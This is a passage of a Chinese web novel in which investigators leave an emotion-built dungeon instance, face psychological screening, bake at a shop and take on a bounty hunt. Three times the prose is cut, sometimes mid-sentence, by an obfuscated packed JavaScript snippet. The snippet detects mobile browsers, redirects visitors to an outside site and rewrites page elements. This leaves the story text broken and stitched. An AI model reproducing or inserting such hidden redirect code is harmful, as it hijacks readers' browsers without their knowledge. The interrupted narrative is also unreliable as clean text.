“可怜啊,她一个女人带着两个丫头,还有一个是傻的,本来都够难了,谁能想又遇到这事?” “造孽啊!还留下个小的,这怎么过啊?” “还没查出来着火原因,说不定她自己放的……” “过不下去了吧,也好,早走早解脱。” “……可怜那个小的了。” “可不一定,听说孩子他爸回来了,她一个前妻还带着个傻的大丫头,怎么过去?还不如一了百了,到底是亲生的,他爸总不能把这小丫头扔了。” 嘈杂的议论声一句句灌入耳中,田漪低下头,看见自己手里正抱着一个被火燎得焦黑的玻璃罐子,封口的金属盖早被烤得变形,透过遍布黑色焦痕的罐身,能隐隐看到底部黑糊糊的一团,分不清是融化的糖果还是焦化的塑料纸。 那些声音还在继续,一句又一句地钻入耳朵,田漪把那个半毁的罐子护在身前,蜷着身子双手捂住了耳朵:不要说了!不要说了!她不想听!!滚啊——!! 似乎是这无声的呐喊终于有了效果,那些嘈杂的声音突然消失了,她也换了一个地方,不是狭小逼仄的筒子楼,而是一个宽敞明亮的大房子,她穿着粉色的蓬蓬纱裙,头上的发卡别得并不舒服、扯着头皮生疼的。 她被男人拉着,带到了一个年轻漂亮的女人身前,男人把她往前推了推,“漪漪,叫妈妈。” 田漪一把拍开了女人伸过来的手,在男人恼怒地想要教训的时候,一转身咬住了他的小臂。在男人喝骂和女人劝解混在一起,在混乱的新家中,她哑着嗓子哭嚎,“那不是我妈妈。”我妈妈不要我了!……她把姐姐带走了,她不要我了! …… 画面像打碎的镜子,层层碎裂。 再睁开眼,田漪重新回到了漆黑的夜色之中,像是还沉浸在刚才的回忆中,她表情怔怔地。 “我都忘了,我都不记得这些事了……她爱我吗?她是不是也有一点爱我?除了姐姐,是不是也有点爱我。” “应该是爱我吧,她一个人要养活两个孩子,我姐还是那样的,她压力太大了。她在我姐身上多费心思,就免不了有点忽视我,她也关心我,她、她也关心过的,就比如……我不记得了,我都不记得她长什么样子……” 她声音渐渐颤抖着,却突然被拥入了一个怀抱中。 宁孟知往前走了一步,虚虚地抱住了她。 田漪愣了愣,但在感受到温暖之前,先一步察觉到了落在自己身上的目光,冰冷的、警告的,不像是在看活物。 田漪和涂肖对视了片刻,从刚才那翻涌地情绪里抽离出来,她兀地笑了。 她身形已经有一点点虚幻,但仍是反手抱住了宁孟知,“谢谢你帮我找回这段记忆。进来这么多调查员,我还是最喜欢你了。” 宁孟知刚想说一句“不客气”,却被抬手轻轻抵住了嘴唇。 “这可不是好事啊。”田漪轻轻地笑起来,“调查员小姐对谁都这么温柔吗?还是小心一点吧。你也看到了,被我这种人缠上,可是会不择手段地把你留在自己的世界……怎么样?要留下吗?我会每天给你做不一样的点心吃哦~” 她说着这话,抬眼看向了远处的涂肖,笑着一点点幽暗下眼神。 涂肖想起了对方先前的诘问。 ——‘那不也是你想要的吗?’ 8.现实1-01 宁孟知因为田漪那句“调查员小姐”愣了一下,她发现自己很容易就接受了这个称呼。所以她并不是什么副本boss,而是这个副本的调查员? 那所谓“玩家”? 宁孟知想要回头往后看,却被田漪轻轻地捧住了脸。 轻柔地如羽毛一样的吻落到脸颊上,田漪轻声,“回去吧,我送你回去。” 宁孟知能感觉到,随着这话落下,她立刻被这个副本向外排斥。 已经透明得几乎快要消失的田漪站起身来,对着涂肖笑说了句什么,可惜已经半脱离副本的宁孟知没能听清,她只看见了对方转头对她做了个口型:谢礼。 * 再次睁开眼,宁孟知发现自己躺在一个封闭的方形空间里,身体的正上方是一个隔板,金属的材质,但是因为涂层的缘故,看起来并不冰冷。 感应到她的清醒,周围暖色的灯光依次照亮,让人很快脱离了那昏昏欲睡的状态。 但宁孟知还是发了会呆,脑海中大量的碎片记忆涌过来,有点类似于现在走在田漪的记忆长廊里,但又有不同,那是她的记忆。 宁孟知还来不及更细地整理这些碎片,方形仓的金属壁被从外轻叩两下。 身体还残留着本能的意识,她右手摸索了两下,按下手边的按钮,金属滑盖向着两侧划开,身下的垫板也折叠着升起,她的姿.势由躺变坐。 外界刺眼的光线让宁孟知不由自主地眯了下眼,等适应了亮度之后,先看见了站在旁边的男人。 “耂……”熟悉的面孔让宁孟知差点把副本里的称呼脱口而出,好在脑海里及时浮现的记忆碎片阻止了她。她咬了一下舌尖,把差点叫出来称呼吞了回去,改口道,“涂队!” 涂肖没答话,而是深深地看了她一眼,好像在观察什么。 宁孟知这会儿只顾着头皮发麻了,根本无心关注涂肖的反应。 脑海里的记忆还是零碎的碎片,但已经足够和副本里的情况进行比照了,一边是客客气气地称呼涂队,另一边是抱着人又亲又摸……她都干了些什么?! 宁孟知手指微微颤抖,抬起来的指.尖已经按在一旁的连接仓按钮上,随时准备重新合上。她宁可现在再进一个高难度的副本,也不想这么和涂肖面对面。 但奈何惨烈的现实就在眼前,手指哆嗦了半天,她终究还是颤着声:“涂队……对不起、之前副本里面……” “A293副本结束,”外面突然传来的声音打断了宁孟知的话,贴着蓝色胶带隔断的玻璃门被推开,一个拿着平板的年轻男人推门进来。 他一边在触控板上勾勾画画,一边嘴上不停,“副本解析成功,危险评定等级下降,具体评级后续会有进一步判断,初步评价为C,达到开放最低标准。两位调查员辛苦……了。” 看着一站一坐两个同时看向他的人,年轻人的话不自觉地卡了一下。 “涂哥、孟知姐?” 涂肖先有了反应,对着年轻人点了点头。 宁孟知也从连接仓里坐起来,压下那脚趾扣地的尴尬感,佯作正常地和对方打了个招呼,“彦涵。” 葛彦涵松口气,“二位刚从副本出来,都辛苦了,报告不急着上交。但按照局里的规定流程,咱们得先做个脱离测试。” 宁孟知的记忆还很零碎,是半触发式的,被葛彦涵这么一提醒,她也想起来部分内容。 因为副本是由核心强烈的情感主导形成了世界,这种情感多半都很扭曲,调查员身处其中,很容易被影响同化,所以从副本里出来,需要对调查员的心理状态进行测试评估。如果有不对劲的地方,及时进行心理疏导,是监督没错,也算是半个福利。 从那不成体系的记忆力提取了这些内容,宁孟知点点头,“好……在三楼?我自己过去吧。” 她得找个能独处的环境整理一下自己的记忆。 当然,逃避涂肖也是一方面。 葛彦涵没有多想:“那好。我陪涂哥过去。” …… 电梯门在身前合上,狭小的密闭空间里面只剩下一个人。 宁孟知轻轻舒了口气,短暂地遗忘了刚才的尴尬,梳理起了自己的记忆片段。 这是个有特殊力量的世界,强烈的情感能量能够形成独立于现实世界的副本,如果放任不管,会扭曲现实。之所以这么说,是因为宁孟知本人是个穿越者,她上辈子生活在没有任何特殊能力的蓝星。或许因为是穿越的原因,她精神力很强,很容易就能在副本中保持自我人格,不受副本内扭曲情况的影响,更偏爱通过“融合”的方式进入副本。 所谓融合,就是顶替副本中某个已经存在的角色身份,减小副本对进入者的排斥。 宁孟知猜测是因为这次直接融合到了副本核心,遭受了强烈的冲击,自己是为了避免记忆被污染,主动封闭了记忆。毕竟副本对侵入者的污染在于情感扭曲,比起凭空捏造记忆,本身的记忆被扭曲解读才是更难办的情况。 但不知道为什么,脱离副本之后,记忆没有立刻恢复。是主动封闭留下的后遗症? 暂时还没想明白原因,但宁孟知吸了口气,先把这事放到了脑后。 因为接下来还有一场硬仗要打。 在这个存在虚幻副本的世界里,她这个穿越者的身份一旦被发现,结果绝对不会好。有心理疏导是好事,但是她的状况经不起细查,她得把在副本里失忆的事瞒过去。 做足了心理准备,宁孟知抬手推开了咨询师的门。 里面身穿白大褂的咨询师似乎早有准备,抬手比了个请的手势,宁孟知坐到了对面的椅子上。 “只是一些例行询问,宁小姐不用紧张。解析成功的副本,调查员出事的概率很小。”像是看出了宁孟知情绪不对,对方安抚了几句,才开口提问,“在融合的过程中,你能够分清楚哪部分是你的想法,哪部分是副本影响的吗?” “能。区分得很清楚。” “能详细说说吗?你是怎么感觉出其中的区别的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475399|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说记忆恢复不全,但是对这种从副本出来后的测试很熟悉,宁孟知早就猜到自己会被询问类似的问题,在上楼的时候,就想好了答案。 “我运气比较好,这次的融合对象具备很强的专业技能,这恰好是我不擅长的领域,涉及事实情况,很容易做出区分,更具体的内容,我之后会在报告里详细列出。” “有没有短暂失去意识,清醒过来之后发现自己出现在另一个地方,也就是曾经被副本中的意识短暂地控制行动?” 宁孟知脸色不变:“没有。” “有没有……” “……” 因为是例行检查,大多数问题都很常规,宁孟知猜测自己并不是第一次应付这种场合,预先思考的答案都派上了用场,并没有出现应付不过来的情况。在做精神体造影的时候,还略微紧张了一点,但万幸仍旧一切正常。 一切顺利。 但等到从三楼咨询师下来的时候,宁孟知突然想到一点,她还不知道涂肖会怎么回答。 这个副本是两个人一起进的,询问情况也不会只问她一个人。 她旋即意识到,自己并不十分担心这件事,仿佛潜意识里就对对方十分放心。 宁孟知想了想,拿出手机调出了自己的任务记录。 果然,她和涂肖并不第一次合作。 调查员合作进入副本探索是常态。毕竟人是群居动物,很容易被周围环境影响,单人进副本极容易被里面的情感扭曲、风险很大,但太多人进入又容易引起副本警戒反扑。也因为如此,两到三人一组进入副本是比较合适的人数,以她和涂肖合作的次数,可以算是半个固定搭档了。 宁孟知猜测对方可能已经知道她的情况,至少类似的默契,所以她才没有那么担心。 “孟知姐,你还没走?” 葛彦涵不知道什么时候过来了,看着等在门口的宁孟知,奇怪地问了问了一句。问完又左右瞄了瞄,像是在找什么人。 宁孟知:“嗯,我再坐一会儿。” 葛彦涵了然:“等涂哥吧?奇怪,他那边也不知道出了什么事,审查拖了这么长时间。” 宁孟知顺着接话,“之前都没有。今天有什么事吗?” 她也发现了异常。以她和涂肖的合作次数而言,两个人应该很熟悉了才对,可偏偏她没有任何关于对方的记忆。 “我想起来了!”葛彦涵像是被宁孟知这话提醒了,突然一拍大.腿,“局里刚刚下发了通缉令,有调查员被副本核心污染了人格,不知道怎么瞒过了局里的审查,回到了现实世界。涂哥是搜查队的前队长,应该被叫去讨论这事了。” 宁孟知:“……” 她刚刚才想着被发现是穿越者后果很严重,后果就摆在她眼前了。记忆和现实成长经历不匹配,在这个世界等同于“被污染”,是要上通缉令的。 等等,从连接仓里出来,她看见涂肖下意识地反应是叫“涂队”。 ……她该不会被对方抓过吧? 9.现实1-02 涂肖的审查是在地下层,等电梯还要点时间,他直接走了应急楼梯。 从水泥的楼梯间出来,风格陡然变化,像是进入了另一个世界。 和三楼咨询室里暖调的原木色装修不同,地下层以合金和特种玻璃为主,正对着电梯门口,就是一个需要认证的特种玻璃大门,透过全透明的门扇,可以看到里面合金覆盖的通道,每隔了数米的间距,合金的通道就会有一个明显的间隙,里面布置类似激光束发射器的装置。 涂肖并没有在楼梯的间隙多做停留,直接走到了识别区域,几乎是他刚刚站定,上方的警示灯立刻就变得血红,涂肖却只是神色不变地站在原地。 没过几秒,血红的光芒闪了闪,里面响起了允许通过机械电子声。 [认证成功,编号A816G35] 他的后颈处,衣领没完全遮住的地方,露出小半类似编码的黑色纹身。 涂肖没什么表情地迈步进入了打开的门,内部的机械装置随着他的位置做出调整,转轴扭动,似乎有什么无形的发射口对准了目标,涂肖习以为常地在这密集的瞄准中,往里面走去。 通道旁边有不少房间,大半都是金属门紧闭,看起来很久没有使用过了。涂肖目不斜视地沿着走廊往里,一直走到最深处,金属门打开着,里面一个占据了半边墙壁的巨型屏幕,屏幕前的青年穿着白大褂、脚上却蹬着一双作战靴,正翘着二郎腿半靠在转椅上……打游戏。 是的,那巨大屏幕上不断转换的画面正是一款正在进行中的枪战游戏。 涂肖刻意放重了脚步声。 毕竟是上班时间摸鱼,白大褂青年很“低调”地戴着一副高降噪的头戴式耳机,将游戏的音响声限制在自己耳朵范围内。但透过价值不菲耳机的阻隔,他仍旧敏锐地捕捉到了这不属于游戏里的脚步声。目光没有离开屏幕,他头也不抬地扯过一张表格来,往旁边一递,“问题都在上面,自己填吧。” 表格还没递过去,游戏角色的躲藏地差点被发现,他干脆抬手一甩,把表格脱手,紧急操作起了手柄。 脱手的纸张像是锐利的刀片,切开的空气,直冲着涂肖的脖颈而去。 涂肖像是早有预料地往侧边躲了一步,任由那张纸插到墙壁里。 涂肖抬手把纸拿下来,后面合金的墙壁像是有自我愈合能力一样,重新恢复了光洁。 副本如果放任不管,会污染现实。而这整个调查局的地下层,就是某种程度下现实被扭曲的产物,只不过是“可控”的扭曲。 涂肖拿过纸张,也没有落座的意思,把表格放在旁边的高一点的吧台上,拿着笔在上面勾勾画画。纸上的问题和宁孟知在三楼被问到的差不多,涂肖也早就知道答案,只粗粗扫过一眼内容,就接连打勾,整个过程连几秒钟的都没有,比宁孟知那边方便快捷多了。 直到这会儿,正打游戏的青年才勉强分出点心神来,漫不经心地问了句,“杀人了吗?” “嗯。” 涂肖语气平淡地回了一个单字。 青年正操作游戏手柄的手顿了一下,屏幕上的游戏角色躲避不及,没能趴到掩体后面,被敌方一枪爆头。 张献培:“……” 彩色的游戏场景霎时灰下,惨白的GAME OVER放大占据了整个视野,他也没了继续游戏的心情。他脚下一蹬,把转椅转向涂肖,但看清后者的打扮后,他脸上凝重的神色一散,“嗤”地一下笑出了声,“你就这一身进的副本?” 涂肖还是那一身白色T恤和浅色裤子休闲装。穿着能够在一定程度上影响个人认知,如果选用融合的方式进入副本,最好在进入之前调整到和副本的背景相契合的打扮。 但是眼前这个人却不一样。 张献培上下打量过涂肖的装束,半是嘲弄地讥笑,“你还真打算装成正常人了?……行吧,死了几个人?不过那些东西在你眼里真的算是‘人’么。” 涂肖没有理会对方的刻意挑衅。 回忆着客厅里倒下的男人和商场外的女人,他语气不变地将后者排除在外,“一个。” 张献培正翻着抽屉,找另外的表格,闻言不由自主地“嚯!”了一声,“在里面呆了三天,就死了一个npc,你还真够克制的,还挺喜欢这副本的?放在以前,恐怕早就不耐烦尝试屠杀了。” 副本中角色都是副本核心的延伸,如果真的出现找不到“核心”的时候,直接杀死npc也是一种方法。以量换质,只要副本内伤害积累到一定程度,副本就会自行崩溃,不必和里面的“核心”玩什么侦探游戏。 张献培觉得这种方式太粗暴,不符合他的美感,但是眼前这人也不是第一次用了。 不知道哪句话触动了对方,一直没什么表情的涂肖终于有了反应。他抬指在桌上轻叩了两下,冷淡地,“你话太多了。” 张献培只以为对方不想提“屠杀”的事情,嗤笑了两声,但见好就收,没再真的撩拨下去。他飞快地填完手里的特殊登记表,把刚才那个涂肖自己勾完的心理测试表格一块儿签字盖章,放到另一边的文件柜里,准备结束的时候,又突然像是想起来什么事,扬声叫住了涂肖。 “对了,这有一张通缉令,”他把照片和档案传给了涂肖,“调查局没有消息,上面猜他进了污染区,他是前编号成员,现在的搜查小队遇上他等于送死,上面暂时没什么办法,我把这事要过来了。怎么样、要不要考虑做回老本行?反正对你来说没什么影响。” 涂肖:“哪个区域?” 所谓污染区,就是指被副本扭曲的现实区域,如果以严格的标准来算,他脚下站的这块地方也算在内。涉及范围太广了,张献培刚才那话相当于什么都没说。 “最后看到他踪迹是在A3区,那地方有好几个扭曲点,对现实干扰严重,不知道他进了哪一个副本。” 涂肖简单的颔首,“我知道了。” 看着涂肖离开的背影,张献培突然低笑了一声。 “搜查队?”他玩味地咀嚼了一边这三个字,嘲弄地,“听着还怪好听的。” 明明叫“清道夫”或者“屠杀者”才更合适吧。 * 宁孟知没有在外面等到涂肖出来。 知道“自己有可能是潜在逃犯”这事有点刺激,宁孟知觉得她得先冷静一下。起码得了解清楚自己的个人情况,再和别人接触吧? 她随便找了个理由告辞了葛彦涵,从特殊区域调查局出来了。 调查局所在的区域有点偏僻,似乎是在市郊,宁孟知从里面出来,循着记忆的方向,驱车开了半个多小时,才终于有点市区的样子,她就住在这附近。 街边的店铺十分热闹,宁孟知放缓了车速,看着街边的铺面,尝试着梳理自己的回忆。 这么一看,倒是注意到了旁边一间手作烘焙工作室。 新店开业,海报的立牌放在旁边,米色底色醒目地写着“开业大酬宾”,布丁纸杯蛋糕糖果的简化图案装饰着字体的边缘,下面小一号字体写着“只要39.9”“材料任意选用”“专业指导”“DIY属于自己的蛋糕”等等字样。 自己的记忆还没来得及梳理,脑海中冒出了新的片段,一个又一个甜品配方,熟悉得仿佛亲手做过无数次。宁孟知想起了脱离副本前的那个轻如羽毛的亲吻,还有田漪最后做出的那个“谢礼”口型,心有所感……但对照她现在的情况,还真不知道这个谢礼是好还是坏。 宁孟知犹豫了片刻,终于还是方向盘一转,将车转进了另一边的露天车库。 几分钟后,烘焙工作室里多了一个身影。 烘烤面包的香气和打发奶油的甜香融合,甜腻的气味钻入人的鼻腔,让人不由自主地放松了心情。因为开业酬宾的缘故,工作室里的人不少,本来布置宽敞的过道间隙,加了几张临时桌椅,每个烘焙台前都站着来体验的客人。 不过这会儿店内的人都或多或少地放缓了手中的DIY,不由自主地看着3号工作台前的女人。 面粉放入搅拌盆中,牛奶加入足够的刻度,鸡蛋在碗沿上轻磕,也不见怎么动作蛋白和蛋黄就完美地分离……从头到尾,全都是甜点最基本的步骤,可偏偏由她做来,一举一动好像都带有某种韵律,有种行云流水的美感。 就在侧后方的烘焙台上,占据了最佳观赏位的是一男一女两位同来体验的客人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482593|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>按说这样的组合是情侣无疑了,但看二人的互动,却不像是如此。 3号台那边“大道至简”的炫技实在吸引人,两人都忘记了自己正搅拌的面粉,只顾着张望,一直到一不小心把本来倾倒的牛奶洒到台面上,才终于回神。 女声先发夺人,“你就不能看着点?倒了牛奶都倒不好。” “喂,我可是看在你被crush鸽了的份上,才陪你来这个倒霉工作室,对你亲弟弟好一点。” 男声也不甘示弱,但呛声完后,还是老老实实地拿着纸巾擦起来桌子,可谓是一款宜室宜家的好弟弟。 白盼哼哼了两声,看在对方这任劳任怨处理残局的份上,倒也没有继续拌嘴。 她看向旁边的过来指导的店员,指了指3号台,问:“门口写着‘专业指导’,那是你们店里的指导老师?” 店员:“……不,那位也是来体验的客人,”我才是店里的“指导老师”。 在这样的情况下,完全没办法把后半句话说出口。 宁孟知是在放烤盘的时候,和白盼撞上的。 后者也没想到这么巧,下意识地挡了一下自己手里的烤盘。 新手DIY不至于选太难的类型,白盼姐弟俩选的是简单的曲奇饼,但即便如此也是磕碰连连。 最直观的表现是,从裱花口挤面糊的时候力道不均,挤出来曲奇大一块小一块,很像是一坨坨不明物体。而且因为过程中的种种意外,面糊调制得过稀了,从工作台端到烤箱附近的这一点时间,挤出来面饼已经开始往旁边扩散,彼此之间预留的间隙愈发狭窄,从裱花嘴挤出的纹路也变得浅淡。白盼毫不怀疑,再这么静置半个小时,挤出来的一块块曲奇会变成占据整张烤盘的一团面糊。 但是即便如此,白盼还是没脸以这个理由抢先。 她尽力把自己烤盘挡了挡,举手做了个请的收拾,“您先,您先。” 宁孟知也看见了那盘看起来十分“危险”的曲奇,她想了想,提议:“不然一起吧。我刚才看了,这边的烤箱是上下两层的,司康和曲奇需要的温度和时间都差不多,只是司康需要的温度稍微低一点,我的烤盘放到下层,你看可以吗?” 宁孟知没有选择太复杂的点心,抱着尝试新技能的想法,再加上店里的材料有限,她只简单地做了个红茶司康。 白盼当然没什么不答应的,连连点头,“好好好。” 她本身的性格活泼开朗,最开始的尴尬过去,顺理成章地借着这个理由和宁孟知搭上了话,“小姐姐怎么称呼?我姓白,叫白盼,叫我盼盼就行,那边是我双胞胎弟弟白顾。我刚才看见小姐姐的烘焙技术,真叫一个那个!”她抬手比了个大拇指,“小姐姐是学了很多年了吧?专业的,还是只是兴趣爱好?小姐姐有没有自己的店,要是有的话给个联系方式吧,我一定买爆!” 上来就是连珠炮似的一连串的话,宁孟知还是隔了好一会儿,才找到机会插话。 她挨个儿给出了答案,“我姓宁。谢谢夸奖,只是偶尔做做,专业还不敢当。” 确实并不专业,宁孟知刚才尝试的时候就发现了,虽说在制作的时候,配方和手感都自然而然的浮现,但和在副本里如有神助的状态有不小的差距。 “宁宁你太谦虚了。”白盼一个称呼就亲亲密密地拉近了距离,又接着夸奖道,“这还不专业?宁宁要求也太高了,我刚才一个曲奇就手忙脚乱。我弟笨手笨脚的,我一个没看住就把牛奶倒多了,只能再加面,这下子可倒好,本来只打算烤一盘的曲奇,现在恐怕三盘都不一定能打住。” 宁孟知想了想,“不如改成马芬蛋糕?加点蛋液和膨松剂,配方稍微调整一下就可以了。” “这要怎么改?” 她满脸为难的询问,听着宁孟知给出的回答,一边连连点头,一边把人往自己的烘焙台附近引。同时暗地给了白顾打手势,让他赶紧让开位置。 一直等到宁孟知站到烘焙台前,亲自上手调整起来材料配比,白盼才老老实实地站在了旁边,对着亲弟弟暗自比了个“计划通”的手势。 白顾:“……” 这个社交悍匪每每都让人叹为观止。 10.现实1-03 “我吃到了恋爱的味道!” 烘烤类的点心刚刚出炉,是滋味最好的时候,香味浓郁,还带着高温炙烤出来的酥脆。以白盼点了满点的社交属性,轻而易举地要到了宁孟知红茶司康的品尝权。 一口咬下去,先是极轻微的一道“咔嚓”声在唇齿间绽开,刷了薄薄一层蛋液的外壳被烘烤得酥脆,随后是蓬松柔软的内里,细小的酥粒在舌尖绵密地化开,黄油的奶香气里才缓缓地释放了红茶的茶香。 白盼被感动得热泪盈眶,忍不住惊呼出声。 但说者无心,听者有意。白盼随口一句感慨,宁孟知却一下子被回忆起了部分内容。 融合的方式进入副本确实有一定的可能得到原主的技能,但是副本本身是情感能量的扭曲,通过这种方式得到的技能也容易附加上副本的情感影响,她刚刚结束的那个副本,核心扭曲感情就是“爱”。 不过宁孟知也只是心底一紧,很快就放松下来。只要不在副本内部,这种影响微乎其微,现实世界本身就有排斥情感能量的作用,不需要过度担心。 果然,白盼只是夸张地感慨了一句,并没有什么别的特别反应。 宁孟知又瞥了一眼旁边没怎么说话的白顾,后者虽然也是表情赞叹,但也局限在对食物的惊艳上。 确定自己没有搞出什么事情来,宁孟知才放下心来,“谢谢夸奖。” 事实证明她放心得太早了。 烘焙室里的人不少,宁孟知本来就是练手之作,没有多在意。被白盼一张罗,她干脆把这盘司康分发了出去,工作室里不管是顾客还是店员,每个人都或多或少拿了两块,整盘司康还没从烤盘里拿出了,就被分了个精光。 白盼还想厚着脸皮多蹭两块,抬眼就见烤盘上已经空空荡荡。 白盼:“……” 她下意识瞪向白顾。 不用对面开尊口,白顾就知道自己为什么挨瞪。 他满脸无语得摊了下手:拜托,这又不是在家,点心没了又不是因为他吃的。 白盼这才反应过来,讪讪地收回眼神。 双胞胎心有灵犀完成了一连串眼神沟通,还不等白顾说什么,就被拉着手臂往前一扯,“宁宁你看他怎么样?” 宁孟知不明所以:“嗯?” 白盼用着降价甩卖的推销语气,“身高183,体重85公斤,脸长得还行,会做家务,性格也说的过去,勉强算是体贴。宁宁你要是单身的话,不如考虑一下?” 白顾:“不、等等……” 就一盘点心就把亲弟卖了? 他这话没说完,就被早有准备的白盼用曲奇塞了嘴,动作迅捷利落,白顾完全没来得及反抗,“唔!” 白盼笑打断:“不用听他的,他有点腼腆,不怎么会说话。” 被噎得差点翻白眼的白顾:“……” 还腼腆?和你比起来,谁不腼腆?! 宁孟知被这活宝姐弟逗得忍不住发笑,“白小姐真幽默。” 白盼见推销被婉拒,对着弟弟露出个“恨铁不成钢”的表情,一直等到宁孟知离开,姐弟俩也从工作室出来,白顾还遭受亲姐眼神的指指点点。 “白盼,你差不多就行了啊!” 白盼撇嘴,“我是为了谁?谁第一次见面就一个劲儿地盯着别人看的。你不谢谢我就算了,还拖后腿。” 大师级的烘焙技术确实吸人眼球,但白盼可注意到了,在宁孟知刚一进店的时候,白顾就把目光投过去了,这可跟技术没什么关系。 “我是看她有点眼熟。” 白顾刚这么解释完,就觉得要糟。 果然,白盼拖长了语调“咦~~”了一声,“好土啊,你这么上去搭讪,看人家理不理你。” 白顾:“……” 他是真的觉得眼熟。 两人东拉西扯了一会儿,白盼正下神色,“我说真的,你真不打算早点找个女朋友,给我留个侄子侄女?你可下周就入职特调局了,真有个万一,生不见人死不见尸的,好歹给咱爸妈留个念想啊。” 白顾嘴角抽了抽,“……白盼盼,你就不能盼我点好?” “白盼、白盼,要不怎么叫‘白盼’呢,”白盼颇为得意地重复了两遍自己的名字,“认真点,我听说你们调查员都要提前写遗嘱?” “你从哪个网站上看的?那里面是不是说,N市毕业还考骑马烤肉。” 能不能听点靠谱消息。 “我的意思是,要是真的写遗嘱,你抽屉里的那个游戏手柄归我怎么样?” 白顾:“……” 亲姐实锤了。 * A区,某酒吧。 酒吧的规格不高,以售卖低端瓶装酒为主,来往的也是三教九流都有。这里再往里走几条街就是被污染区域,虽说区域外围有官方划定的界限,但是但凡有点能力的人都搬离了这里,留下来的人要不有迫不得已的苦衷,要不有别有用心的打算。 涂肖换了一身半旧不新的不起眼打扮,要了几瓶白酒等人。 没多一会儿,过来一个半长头发扎在脑后,打扮流里流气的青年,看见涂肖就笑,“怎么有空来我这儿?终于想通了,觉出调查局不是人呆的地方。来,跟着我五爷走,保管让你吃香的喝辣的!” 涂肖没搭他话茬,“找你问点事。有没有见过这个人?” 他说着,将那张通缉令递给对面看。 包隋扫了两眼,一眼就看见资料里的“前搜查队成员”,故作惊叹地,“不是吧,好歹是你以前的同事,就算不是一个区的队友,也多少有点战友情啊,放人一条生路吧。” 涂肖没答话,只是抬眼看他。 包隋嘟嘟囔囔了几句,最后还是给了回答,“我没见过这人,不过可以让里头的人帮你留意着。但是先说好,我要价可不便宜,不管真假,一条消息两千,我不负责验证对错……别说我坑啊,你也知道,你们这种人,进污染区跟回家似的。他都上通缉令了,分裂出来那个人格多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487491|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半不怎么正常,我的人也惜命,真要凑到跟前万一被‘清理’了怎么办。” 涂肖:“成交。” 他低头操作了几下,没多久,包隋的手机上就传来转账提醒,是预付的定金。 “多谢财神爷,”包隋一下子就乐了,抱了个拳像模像样地行了个礼,难得大方地,“今天这顿我请。” 说着,还亲手倒了酒给涂肖满上。 涂肖意思着喝了一口,就把酒杯放到了一边。 包隋却没客气,自酌自饮连灌下几杯,没过几分钟,就整张脸泛着红,说话也大舌头起来,“我早就说了,调查局不是人干的事。上面一拍脑袋想出来法子,用污染对抗污染、扭曲对抗扭曲,真亏他们能想出来,差点拉着兴市陪葬……这一下吃了个大亏,倒是主张解析那边的又占了上风,不知道怎么想的,居然把副本对外开放了,这么东搞西搞,还不知道以后会是什么样呢……” 涂肖表情不变:“不然呢?放着污染区不管?” 污染区附近现实会被扭曲,许多仪器设备到这里都会失灵,监控摄像头就更不用说了,半点都拍不到人影,自然而然的形成了脱离秩序的避风港。因而只要有地方出现污染区,附近很快就会变成在逃犯人的乐园,没有监管,周围迅速变成了弱肉强食的丛林法则,而这种混乱的区域本身就容易产生扭曲情感,越发放大污染。现在这个几乎被隔离出去的A区就是这么形成的。 包隋也被问得哑然,小声骂骂咧咧了一会儿,终于止了声。 他抬头看向涂肖,吐字不清地,“先不说那个被通缉前队员,我说你、你没事吧?” “……为什么这么问?” 包隋手里还拿着酒瓶子,抬手比划了一下,“感觉,你给我的感觉不太对。虽然你老闷不吭声的,但是今天话尤其少。怎么?刚去的那个副本有问题?你们那个心理咨询屁用没有,我看真出事了,还得——”他抬手往脑壳上比了个枪毙的手势,又笑,“你不想在局里留下档案,要不到我这儿来?我给你打对折。” 涂肖没理他。 “行吧,看来你还没到这程度。”包隋撇了撇嘴,“今天五爷心情好,免费给你做个咨询,你说说吧,最近副本遇到什么问题。别憋着,一个人憋了太久容易憋出病来,我看被通缉的那个说不定就是闷得心理变态了。” 涂肖本来不想理的,但听他说到后来,还是顿了顿,把最近一个副本里的事,挑拣着说了部分。 他本意是提醒对方,自己或许不久之后真的需要一次“治疗”。 但包隋放下酒杯状似思考,好半天,才努力咬清了字句,总结:“也就是说,她在副本里亲亲密密叫你‘老公’,出了副本就一口一个‘涂队’翻脸不认人了?” 涂肖:……? 重点难道不在他掌握了副本主导权,说明他的情况正在恶化吗? 看着对面抱着酒瓶面脸“睿智”,涂肖不由失语了片刻,好半天才长长地出口气:算了,不和醉鬼计较。 11.现实1-04 被包隋这么一提,涂肖也注意到宁孟知副本内外的变化。 看起来副本的扭曲并没有影响到现实,涂肖半松了口气。 上个副本里,田漪的猜测并不完全准确。 